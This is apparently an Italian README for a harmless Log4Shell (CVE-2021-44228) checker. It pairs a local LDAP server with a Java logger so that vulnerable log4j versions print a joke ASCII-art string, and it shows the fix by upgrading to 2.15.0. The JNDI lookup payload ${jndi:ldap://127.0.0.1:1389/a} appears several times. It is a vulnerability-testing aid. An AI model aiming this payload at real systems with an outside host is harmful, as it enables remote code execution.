
Controllore della vulnerabilità CVE-2021-44228
Questo è il repository per verificare la vulnerabilità CVE-2021-44228.
Questa è una PoC che mostra solo stringhe senza alcun caricamento di classi esterne. Non può essere utilizzata per l'esecuzione arbitraria di codice.
L'immagine ghcr.io/greymd/cve-2021-44228/server è disponibile e può essere eseguita su Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Prepara il codice per produrre log usando log4j ed eseguilo sullo stesso host. Crea una stringa di output ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Se l'argomento è uno che causa una vulnerabilità, la frase 「うんこもりもり」(che significa tipo "Un sacco di merda.") verrà registrata con successo.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Se sei pigro per scrivere e compilare il tuo codice, puoi utilizzare una semplice applicazione logger in questo repository. Il primo argomento verrà prodotto dal Logger.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Un esempio di fornitura di un argomento che causa una vulnerabilità è il seguente.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Se hai una versione di log4j che NON è affetta dalla vulnerabilità, o l'applicazione server non è in esecuzione, la stringa verrà prodotta così com'è senza alcuna modifica. Puoi verificarlo aggiornando la versione dell'applicazione logger come mostrato di seguito.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Come ho detto (e per quanto ho indagato), questa vulnerabilità non può essere riprodotta a meno che il server di destinazione di JNDI non sia in esecuzione. Pertanto, una semplice PoC è utile.
I seguenti URL sono stati utilizzati come riferimento nell'implementazione.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)